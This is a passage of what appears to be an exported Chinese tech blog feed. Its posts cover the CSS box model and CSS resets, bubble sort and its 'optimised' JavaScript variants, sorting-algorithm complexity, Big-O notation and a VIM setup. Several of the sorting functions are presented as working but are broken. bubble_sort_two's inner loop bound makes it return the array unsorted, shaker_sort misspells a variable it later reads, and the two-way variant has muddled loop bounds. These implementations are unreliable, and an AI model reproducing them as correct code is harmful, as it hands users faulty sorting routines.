class="selector-tag">content-box</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* IE模型 */</span></span><br><span class="line"><span class="selector-tag">box-sizing</span>: <span class="selector-tag">border-box</span>;</span><br></pre></td></tr></table></figure><p>需要注意的是,这种切换盒模型模式的方法,只在<code>IE8+</code> 浏览器和其他主流浏览器中被支持。</p><h3 id="引申出的问题"><a href="#引申出的问题" class="headerlink" title="引申出的问题"></a>引申出的问题</h3><h4 id="兼容问题"><a href="#兼容问题" class="headerlink" title="兼容问题"></a>兼容问题</h4><p>如上文所说,在<code>IE8+</code> 浏览器和其他主流浏览器中,我们可以通过<code>css3</code>属性<code>box-sizing</code> 来进行盒模型模式的切换。</p><p>但是在更早版本的<code>IE</code>浏览器中,是不支持此<code>css3</code>属性的,如果希望使用标准盒模型,可通过设置文档声明为 <code><!DOCTYPE html></code>实现,当然,此方法对所有<code>IE</code>浏览器都有效。</p><h4 id="IE怪异盒模型的应用"><a href="#IE怪异盒模型的应用" class="headerlink" title="IE怪异盒模型的应用"></a><code>IE</code>怪异盒模型的应用</h4><p>在<code>IE</code>怪异盒模型模式下,元素宽高固定时,<code>padding</code>和 <code>border</code>的改变,并不会影响到元素真实占据宽高的改变。</p><p>这在元素宽高为百分比时十分有用,例如我们想让并排的两个元素宽度各为<em>50%</em>,但又想通过设置<code>padding</code>让它们的内容靠的别那么近。如果在标准盒模型下,设置<code>padding</code>之后,元素的真实宽度就会增加,导致两元素撑破容器,无法并排显示。当然我们可以通过设置元素宽度为<em>49%</em>,<code>padding</code>为<em>1%</em>来实现,但这样非常不优雅。而此时通过设置<code>box-sizing</code>为<code>border-box</code>使用<code>IE</code>盒模型,就可以很轻松的实现我们的目的。</p><p>换句话说,<code>IE</code>盒模型的关键作用就在于此,<strong>让有<code>border</code>和 <code>padding</code>的元素,能更符合我们直觉的使用百分比宽高。</strong></p><h4 id="浏览器样式"><a href="#浏览器样式" class="headerlink" title="浏览器样式"></a>浏览器样式</h4><p>同样由于历史遗留问题,各个浏览器之间的默认样式存在一些区别,影响比较大的就是各个浏览器对元素添加的默认<code>margin</code> 和 <code>padding</code> 的尺寸大小不一,导致在各浏览器下,元素盒模型的表现不一致。</p><p>可以通过覆盖或清楚默认样式(<strong><em>css reset</em></strong>)的方法,来达到各浏览器表现一致的目的。</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 此种方法不论从效率还是bug发生概率上都不推荐使用 */</span></span><br><span class="line">*{</span><br><span class="line"> <span class="attribute">margin</span>:<span class="number">0</span>;</span><br><span class="line"> <span class="attribute">padding</span>:<span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 最好通过以下设定特定元素的内外边距来实现reset,安全且效率高 */</span></span><br><span class="line"> <span class="comment">/* structural elements 结构元素 */</span></span><br><span class="line"><span class="selector-tag">body</span>, <span class="selector-tag">h1</span>, <span class="selector-tag">h2</span>, <span class="selector-tag">h3</span>, <span class="selector-tag">h4</span>, <span class="selector-tag">h5</span>, <span class="selector-tag">h6</span>, <span class="selector-tag">hr</span>, <span class="selector-tag">p</span>, <span class="selector-tag">blockquote</span>,</span><br><span class="line"> <span class="comment">/* list elements 列表元素 */</span></span><br><span class="line"><span class="selector-tag">dl</span>, <span class="selector-tag">dt</span>, <span class="selector-tag">dd</span>, <span class="selector-tag">ul</span>, <span class="selector-tag">ol</span>, <span class="selector-tag">li</span>,</span><br><span class="line"><span class="comment">/* text formatting elements 文本格式元素 */</span></span><br><span class="line"><span class="selector-tag">pre</span>, </span><br><span class="line"><span class="comment">/* form elements 表单元素 */</span></span><br><span class="line"><span class="selector-tag">form</span>, <span class="selector-tag">fieldset</span>, <span class="selector-tag">legend</span>, <span class="selector-tag">button</span>, <span class="selector-tag">input</span>, <span class="selector-tag">textarea</span>, </span><br><span class="line"><span class="comment">/* table elements 表格元素 */</span></span><br><span class="line"><span class="selector-tag">th</span>, <span class="selector-tag">td</span> {</span><br><span class="line"> <span class="attribute">margin</span>: <span class="number">0</span>;</span><br><span class="line"> <span class="attribute">padding</span>: <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>以上就是我总结的关于 <code>CSS</code> 盒模型的一些知识,希望对大家有所帮助。^-^。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> CSS </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> CSS </tag>
</tags>
</entry>
<entry>
<title>算法学习(三):冒泡排序</title>
<link href="/2018/04/07/algorithm_note-3/"/>
<url>/2018/04/07/algorithm_note-3/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><script src="https://cdn.bootcss.com/mathjax/2.7.4/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script><blockquote><p>冒泡排序是最常见和简单的排序算法。</p><p>本篇博客主要介绍了冒泡排序的原理和<code>js</code>实现。同时也涉及到了基础冒泡算法的一些优化方法。</p></blockquote><a id="more"></a><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><h4 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h4><p>冒泡排序<strong><em>(Bubble Sort)</em></strong>是一种经典的排序算法,它重复的走访要排序的数列,依次比较当前元素和下一个元素,如果两个元素的顺序错误就交换两个元素的顺序,直到没有元素需要交换为止。</p><p>因为最值数在排序时经由交换,像水中的泡泡冒到水面一样浮动到数列的顶端,因此称其为冒泡排序。</p><h4 id="运作过程"><a href="#运作过程" class="headerlink" title="运作过程"></a>运作过程</h4><p>根据上文冒泡排序的定义可知,冒泡排序运作的步骤如下:</p><ol><li>从第一个元素比较相邻的一对元素,如果第一个元素比第二个大,就交换它们两个。</li><li>移动到下一个元素,重复上一步骤,一直到倒数第二个元素,此时数列的最后一个元素,就会是最大值。</li><li>重复1,2 步骤一直到倒数第三个元素,此时数列的倒数第二个元素就会是数列第二大的值。</li><li>持续对越来越少的待排序元素重复以上的步骤,直到没有任何一对数字需要比较。</li></ol><p>下面是冒泡算法的一个运作过程动图,</p><p><img src="https://camo.githubusercontent.com/bc20131e2ee7ad70c06e7c71eefc04c3a3cc18a2/687474703a2f2f696d672e626c6f672e6373646e2e6e65742f3230313630393136313630373438333839" alt="img"></p><h3 id="JS实现"><a href="#JS实现" class="headerlink" title="JS实现"></a><code>JS</code>实现</h3><p>根据冒泡算法的定义和运作过程,基础的冒泡算法实现过程如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">bubble_sort</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> len = arr.length;</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> i=len<span class="number">-1</span>;i><span class="number">0</span>;i--){</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> j=<span class="number">0</span>;j<i;j++){</span><br><span class="line"> <span class="keyword">if</span>(arr[j] > arr[j+<span class="number">1</span>]){</span><br><span class="line"> [ arr[j], arr[j+<span class="number">1</span>] ] = [ arr[j+<span class="number">1</span>],arr[j] ]</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> arr;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在上面的实现中,我们分析可得冒泡算法的时间频度<strong>(即具体执行次数)</strong>和问题规模<em>n</em> <strong>(即数组长度)</strong>的关系为</p><p><code>T(n)=(n-1)+(n-2)+(n-3)+...+1</code> , 简化表达式后,可得:$$T(n) = \frac{n^2-n}{2}$$</p><p>从而可以得出,冒泡算法的时间复杂度为 <strong>O( n<sup>2</sup> )</strong> 。</p><h3 id="优化"><a href="#优化" class="headerlink" title="优化"></a>优化</h3><h4 id="优化一"><a href="#优化一" class="headerlink" title="优化一"></a>优化一</h4><p>在上面的冒泡算法<code>js</code>实现中,内层的<code>for</code>循环在每次循环时都会循环到上次结束循环减一的位置,考虑到在循环结束的位置之前可能已经存在很多顺序正确无需交换的元素,以上实现其实还有继续优化的空间。</p><p>根据冒泡算法的原理,遍历一对对相邻元素,顺序不正确的一对元素,会交换其位置,顺序正确的相邻元素不会发生交换。那么我们得出结论,<strong>一次循环中最后一次发生交换的位置,其后的所有元素一定是已排好顺序的</strong>。</p><p>那么我们可以记录每次循环中最后一次交换元素的位置,在下次循环中只需要循环到此位置即可,从而减少循环次数,优化冒泡算法,代码实现如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">bubble_sort_two</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> len = arr.length;</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> i=len<span class="number">-1</span>;i > <span class="number">0</span>;i=pos){</span><br><span class="line"> pos = <span class="number">0</span>; <span class="comment">//每次内层循环前将最后一次交换位置pos归0从而开始重新记录</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> j=<span class="number">0</span>;j<len<span class="number">-1</span>-i;j++){</span><br><span class="line"> <span class="keyword">if</span>(arr[j] > arr[j+<span class="number">1</span>]){</span><br><span class="line"> [ arr[j], arr[j+<span class="number">1</span>] ] = [ arr[j+<span class="number">1</span>],arr[j] ];</span><br><span class="line"> pos = j; <span class="comment">//记录每次内层循环的最后交换位置。</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> arr;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="优化二"><a href="#优化二" class="headerlink" title="优化二"></a>优化二</h4><p>在上面的冒泡排序过程中,每一遍排序操作都是从头循环到尾找到一个最大值。</p><p>考虑到我们可以通过在每一遍排序中进行正向和反向两遍冒泡,从而一次得出两个最终值位于本次循环两端(一个最大一个最小),从而达到节约时间,优化算法的目的。</p><p>代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">bubble_sort_three</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> len = arr.length;</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> i=len<span class="number">-1</span>;i><span class="number">0</span>;i--){</span><br><span class="line"> <span class="comment">//正向循环</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> j=len-i;j<i;j++){</span><br><span class="line"> <span class="keyword">if</span>(arr[j]>arr[j+<span class="number">1</span>]){</span><br><span class="line"> [arr[j],arr[j+<span class="number">1</span>]] = [arr[j+<span class="number">1</span>],arr[j]];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//反向循环</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">let</span> k=i;k<len<span class="number">-1</span>-i;k--){</span><br><span class="line"> <span class="keyword">if</span>(arr[k]<arr[k<span class="number">-1</span>]){</span><br><span class="line"> [arr[k],arr[k<span class="number">-1</span>]] = [arr[k<span class="number">-1</span>],arr[k]];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> arr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//也可以写成以下更直观的形式</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">other_bubble_sort</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> len = arr.length;</span><br><span class="line"> <span class="keyword">let</span> right = len - <span class="number">1</span>; <span class="comment">//排序范围右边界</span></span><br><span class="line"> <span class="keyword">let</span> left = <span class="number">0</span>; <span class="comment">//排序范围左边界</span></span><br><span class="line"> <span class="keyword">while</span>(left < right){</span><br><span class="line"> <span class="comment">//正向循环</span></span><br><span class="line"> <span class="keyword">for</span>(j = left;j<right;j++){</span><br><span class="line"> <span class="keyword">if</span>(arr[j]>arr[j+<span class="number">1</span>]){</span><br><span class="line"> [arr[j],arr[j+<span class="number">1</span>]] = [arr[j+<span class="number">1</span>],arr[j]];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> right--;</span><br><span class="line"> <span class="comment">//反向循环</span></span><br><span class="line"> <span class="keyword">for</span>(k = right;k>left;k--){</span><br><span class="line"> <span class="keyword">if</span>(arr[k]<arr[k<span class="number">-1</span>]){</span><br><span class="line"> [arr[k],arr[k<span class="number">-1</span>]] = [arr[k<span class="number">-1</span>],arr[k]];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> left++;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="优化三(鸡尾酒排序)"><a href="#优化三(鸡尾酒排序)" class="headerlink" title="优化三(鸡尾酒排序)"></a>优化三(鸡尾酒排序)</h4><p>自然而然的,我们可以综合使用以上两种优化方式,既从两端分别冒泡,又记录每次最后交换的位置。这样经过优化之后的冒泡排序,又称为<strong>鸡尾酒排序(<em>shaker Sort</em>)</strong>。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">shaker_sort</span>(<span class="params">arr</span>)</span>{</span><br><span class="line"> <span class="keyword">let</span> len = arr.length;</span><br><span class="line"> <span class="keyword">let</span> right = len - <span class="number">1</span>; <span class="comment">//排序范围的右边界</span></span><br><span class="line"> <span class="keyword">let</span> left = <span class="number">0</span>; <span class="comment">//排序范围的左边界</span></span><br><span class="line"> <span class="keyword">while</span>(left < right){</span><br><span class="line"> lastPosRight = <span class="number">0</span>; <span class="comment">//正向最后一次交换的位置</span></span><br><span class="line"> <span class="keyword">for</span>(j = left;j<right;j++){</span><br><span class="line"> <span class="keyword">if</span>(arr[j]>arr[j+<span class="number">1</span>]){</span><br><span class="line"> [arr[j],arr[j+<span class="number">1</span>]] = [arr[j+<span class="number">1</span>],arr[j]];</span><br><span class="line"> lastPosRight = j;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> right = lastPosRight;</span><br><span class="line"> lastPOSLeft = len <span class="number">-1</span> ; <span class="comment">//反向最后一次交换的位置</span></span><br><span class="line"> <span class="keyword">for</span>(k = right;k>left;k--){</span><br><span class="line"> <span class="keyword">if</span>(arr[k]<arr[k<span class="number">-1</span>]){</span><br><span class="line"> [arr[k],arr[k<span class="number">-1</span>]] = [arr[k<span class="number">-1</span>],arr[k]];</span><br><span class="line"> lastPosLeft = k;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> left = lastPosLeft;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> arr;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>以上就是关于冒泡排序算法的一些知识,谢谢阅读,希望对大家有所帮助。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 算法 </category>
</categories>
<tags>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>算法学习(二):排序算法概述</title>
<link href="/2018/04/04/algorithm_note-2/"/>
<url>/2018/04/04/algorithm_note-2/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>排序算法作为算法中比较常见的类型,我们在写代码时经常会遇到和使用。</p><p>此篇博客主要介绍了排序算法涉及的一些概念和常见的排序算法。</p></blockquote><a id="more"></a><h4 id="稳定性"><a href="#稳定性" class="headerlink" title="稳定性"></a>稳定性</h4><p>在排序算法中,在存在多个相同值项的情况下,如果在经过排序后,这些项的相对次序保持不变,则称这种排序算法是稳定的。否则称为不稳定的。</p><p>即如果 <em>a = b</em> , <em>a</em> 在 <em>b</em> 之前,如果在排序后,<em>a</em> 仍在 <em>b</em> 之前,则排序算法是稳定的。如果排序后,<em>a</em> 与 <em>b</em> 交换了位置,则称排序算法是不稳定的。</p><p>排序算法是否为稳定的是由算法的具体实现决定的。例如冒泡算法中,如果将比较条件修改为<code>a[j] >= a[j+1]</code>,则此时的冒泡算法就成为了不稳定的排序算法。</p><p>当然,在数据的顺序没有什么特殊意义时,考虑算法稳定性其实也没什么意义。</p><h4 id="内排序和外排序"><a href="#内排序和外排序" class="headerlink" title="内排序和外排序"></a>内排序和外排序</h4><p><strong>内排序:</strong>即所有排序操作都在内存中完成的排序算法。</p><p><strong>外排序:</strong>在数据量比较大的情况下,将数据放在磁盘中。在排序时需要磁盘和内存的数据传输。</p><h4 id="常见的排序算法"><a href="#常见的排序算法" class="headerlink" title="常见的排序算法"></a>常见的排序算法</h4><p>常见的排序算法共有十种,关于它们的相关信息如下表所示:</p><table><thead><tr><th style="text-align:center">排序算法</th><th style="text-align:center">平均时间复杂度</th><th style="text-align:center">最好情况</th><th style="text-align:center">最差情况</th><th style="text-align:center">稳定性</th></tr></thead><tbody><tr><td style="text-align:center">冒泡排序</td><td style="text-align:center"><em>O(n²)</em></td><td style="text-align:center"><em>O(n)</em></td><td style="text-align:center"><em>O(n²)</em></td><td style="text-align:center">稳定</td></tr><tr><td style="text-align:center">选择排序</td><td style="text-align:center"><em>O(n²)</em></td><td style="text-align:center">O(n²)</td><td style="text-align:center"><em>O(n²)</em></td><td style="text-align:center">不稳定</td></tr><tr><td style="text-align:center">插入排序</td><td style="text-align:center">O(n²)</td><td style="text-align:center"><em>O(n)</em></td><td style="text-align:center"><em>O(n²)</em></td><td style="text-align:center">稳定</td></tr><tr><td style="text-align:center">归并排序</td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center">稳定</td></tr><tr><td style="text-align:center">快速排序</td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center"><em>O(n²)</em></td><td style="text-align:center">不稳定</td></tr><tr><td style="text-align:center">希尔排序</td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center"><em>O(n log²n)</em></td><td style="text-align:center"><em>O(n log²n)</em></td><td style="text-align:center">不稳定</td></tr><tr><td style="text-align:center">堆排序</td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center"><em>O(n log n)</em></td><td style="text-align:center">不稳定</td></tr><tr><td style="text-align:center">计数排序</td><td style="text-align:center"><em>O(n + k)</em></td><td style="text-align:center"><em>O(n + k)</em></td><td style="text-align:center"><em>O(n + k)</em></td><td style="text-align:center">稳定</td></tr><tr><td style="text-align:center">桶排序</td><td style="text-align:center"><em>O(n + k)</em></td><td style="text-align:center"><em>O(n + k)</em></td><td style="text-align:center"><em>O(n + k)</em></td><td style="text-align:center">稳定</td></tr><tr><td style="text-align:center">基数排序</td><td style="text-align:center"><em>O(n × k)</em></td><td style="text-align:center"><em>O(n × k)</em></td><td style="text-align:center"><em>O(n × k)</em></td><td style="text-align:center">稳定</td></tr></tbody></table><blockquote><p>其中时间复杂度中的 <em>k</em> ,代表的是 “ 桶 “的个数。</p></blockquote><p>此篇博客仅对排序算法做了最基本的说明。每种排序算法的具体原理和详细的语言层面实现,将在后续算法学习相关博客中进行详细介绍。</p><p>同时在这里推荐两个可视化排序算法的网站,可以通过动画的形式,对各个排序算法有一个直观的了解。</p><ul><li><a href="http://www.webhek.com/post/comparison-sort.html" target="_blank" rel="noopener">排序算法可视化网站1</a></li><li><a href="https://visualgo.net/zh/sorting" target="_blank" rel="noopener">排序算法可视化网站2</a></li></ul><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 算法 </category>
</categories>
<tags>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>算法学习(一):时间复杂度</title>
<link href="/2018/04/02/algorithm_note-1/"/>
<url>/2018/04/02/algorithm_note-1/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>时间复杂度,在衡量算法效率时,经常被提及。</p><p>作为衡量算法效率的重要指标,我们需要对时间复杂度有一个更清晰和系统的认识。</p><p>本文主要介绍了时间复杂度的含义及其的计算方法。</p></blockquote><a id="more"></a><h3 id="算法基本概念"><a href="#算法基本概念" class="headerlink" title="算法基本概念"></a>算法基本概念</h3><p>一个算法的效率主要从两方面来衡量,即<strong>执行所需的时间长短</strong>和<strong>所需的存储空间大小</strong>。也就是算法中的两个复杂度:</p><ul><li><strong>时间复杂度</strong>:评估执行程序所需的时间,可以估算出程序对<strong>处理器</strong>的使用程度。</li><li><strong>空间复杂度</strong>:评估执行程序所需的存储空间,可以估算出程序对<strong>计算机内存</strong>的使用程度。</li></ul><p>在算法的效率研究中,因为时间复杂度比空间复杂度更容易产生问题。因此主要研究的是时间复杂度,在不特别说明的情况下,算法的复杂度通常是指算法的时间复杂度。</p><h3 id="时间复杂度"><a href="#时间复杂度" class="headerlink" title="时间复杂度"></a>时间复杂度</h3><h4 id="时间频度"><a href="#时间频度" class="headerlink" title="时间频度"></a>时间频度</h4><p>一个算法花费的时间与算法中语句的执行次数成正比。可将<strong>算法中的语句执行次数</strong>称为<strong>时间频度</strong>或<strong>语句频度</strong>。记为<code>T(n)</code>。其中<code>n</code> 为问题的规模,类似需要排序的数组的长度,需要查询的元素的多少等。</p><p>当<code>n</code>不断变化时,时间频度<code>T(n)</code>也不断变化。也就是说时间频度<code>T(n)</code>是关于问题规模<code>n</code>的一个函数。</p><h4 id="时间复杂度-1"><a href="#时间复杂度-1" class="headerlink" title="时间复杂度"></a>时间复杂度</h4><p>为了呈现时间频度<code>T(n)</code>随问题规模<code>n</code>的变化而变化时呈现出的规律,引入了<strong>时间复杂度</strong>的概念。</p><p>若存在某个辅助函数<code>f(n)</code>,使得当<code>n</code>趋近于无穷大时,<code>T(n)/f(n)</code>的极限值为不为0的常数,则称<code>f(n)</code>为<code>T(n)</code>的同数量级函数(最高阶数相同)。而此时有<code>T(n)=O(f(n))</code>,将<code>O(f(n))</code>称为算法的<strong>渐进时间复杂度</strong>,简称<strong>时间复杂度。</strong>表示随着问题规模<code>n</code>的增大,算法执行所需要的时间的增长可以用<code>O(f(n))</code>表示。</p><blockquote><p>在判断<code>f(n)</code>函数随<code>n</code>的变化而变化的规律时,最好和最准确的方法当然是求出函数的一阶导数。但在算法上,因为只需要大体了解算法的优劣即可,因此可以直接考虑<code>f(n)</code>函数中对增长速度影响最大的一项,即函数的<strong>最高阶数</strong>来评估算法的优劣。大O符号<code>O()</code>就是这样一种运算符号,作用为去除其他低阶项和与最高阶项相乘的常数,只保留最高阶项。</p></blockquote><h4 id="时间复杂度的计算"><a href="#时间复杂度的计算" class="headerlink" title="时间复杂度的计算"></a>时间复杂度的计算</h4><p>计算时间复杂度时,根据<code>O(f(n))</code>的定义,可得,<code>f(n)</code>去掉低阶项和最高阶项的常数后,即可得出时间复杂度。一般最高阶项可能值如下:</p><ul><li>常数阶<code>O(1)</code></li><li>线性阶<code>O(n)</code></li><li>平方阶 <code>O(n²)</code></li><li>平方根阶 <code>O(√n)</code></li><li>立方阶 <code>O(n³)</code></li><li>对数阶 <code>O(logn)</code></li><li>指数阶 <code>O(2ⁿ)</code></li><li>线性对数阶 <code>O(nlogn)</code></li><li>阶乘阶 <code>O(n!)</code></li></ul><p>各阶数下时间频度和问题规模的曲线如下:</p><p><img src="https://img.catqu.com/images/2018/04/13/19f1e1491f5294a2.jpg" alt="图1"></p><p>常用时间复杂度按照所需时间从小到大排序为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O(1) < O(logn) < O(n) < O(nlogn) < O(n²) < O(n³) < O(2ⁿ) < O(n!)</span><br></pre></td></tr></table></figure><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 算法 </category>
</categories>
<tags>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>我的VIM配置</title>
<link href="/2018/03/19/my-vim-config/"/>
<url>/2018/03/19/my-vim-config/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p><em>VIM</em> 作为编辑器之神,历久而不衰。自己也折腾了很久,但是一直也没有对很多配置进行系统的梳理和思考。</p><p>在经过一个多月的整理和反复衡量,最终确定了我在多端下能够比较统一和方便使用<em>VIM</em>的一个配置。</p></blockquote><a id="more"></a><h4 id="我的vim配置"><a href="#我的vim配置" class="headerlink" title="我的vim配置"></a>我的<code>vim</code>配置</h4><p>在使用了数个编辑器和<em>IDE</em> 后,我最终还是选择了重回<em>VIM</em>怀抱。可能是因为前面配置<code>vim</code>时那种焦头烂额的感觉已经淡去,也可能是因为我终于决定遇见问题时沉下心来去一一解决,而不再是逃避。我打算将<code>vim</code>配置为我的终极代码编辑器,从此无论写什么,都可以以不变应万变了。</p><p>早先把<code>vim</code>当做尝鲜的编辑器去使用,所以很多重度使用时会遇到的问题都并没有亲身感觉。经过一个多月的重度使用后,各种问题解决了一大箩筐之后,也终于归纳整理出了适合我的一套<code>vim</code>配置。</p><p>在使用过程中,对于插件的添加我保持了尽量克制的态度,并没有使用太多插件。经过磨合和调试,这一套配置也已经能完全满足我的工作流要求,包括涉及到<code>js</code> ,<code>php</code>,<code>python</code>,<code>ts</code> 及<code>HTML</code>的<code>coding</code>各项需求。</p><p>经过这一个多月的大修大补的折腾,我也终于可以开心的卸载掉了包括 <em>sublime</em>,<em>vscode</em>,<em>pycharm</em>,<em>webstorm</em>等电脑上的一众 <em>IDE</em>,瞬间感觉神清气爽,四肢通畅(^-^)。</p><p>以下是我的<code>vim</code>配置,基本所有配置项都做了中文注释和相应的分类划分。需要注意的有以下几点:</p><ol><li><p>字体设置,也就是<code>set guifont</code>这一配置项在 <em>win & mac</em> 上直接空格分割字体,字号就行,但在 <em>linux</em>上,需要使用<code>\</code> 对空格进行转义。类似<code>set guifont=Nimbus\ Mono\ L\ 14</code></p></li><li><p><em>YouCompleteMe</em> 补全插件需要自行编译,编译的步骤百度或<em>google</em>即可。对于各种语言的补全,此插件有相应的方案和配置,在需要时可以搜索相关教程进行修改和拓展。此插件属于<code>vim</code>的灵魂插件之一。</p></li><li><p><code>ALE</code>语法检查插件类似于早先的<em>synatic</em>,但比其在性能上更有优势且使用较为简单。需要安装语法检查相应的组件环境,例如检查<code>js</code>需要安装<code>eslint</code>,检查<code>python</code>需要安装<code>flake8</code>,这个插件是<code>vim</code>以不变应万变的依靠之一。</p></li><li><p>tern-for-vim插件</p><p>安装后需要进入插件目录执行 npm install,并且需要在 用户主目录下 创建 配置文件 .ts-confi</p></li><li><p>ALE 语法检查插件</p></li></ol><p> eslint 的语法检查配置需要在主目录下拷贝一份 规则文件这样所有的 js 文件都可以通过这份规则文件进行语法检查。</p><ol start="6"><li><p>ag全局查找插件</p><p>需要在命令行安装</p></li></ol><p>ps:在vim的使用过程中,我也在不断调整和优化我的.vimrc文件,因此就不再在下面贴出我的vim配置了。</p><p><del>为了保证此篇博客能跟随我的.vimrc文件的更新,这里就只提供一个我的.vimrc文件的链接,以便能够使大家追踪到我的最新配置。</del></p><p>2018-7-20: 将<code>.vimrc</code>文件进行了拆分模块化,不在放到根目录下,而是移动到<code>.vim</code>中,便于进行版本管理,同时也方便增删和修改。</p><p><a href="https://github.com/Gyufei/MyVimrc" target="_blank" 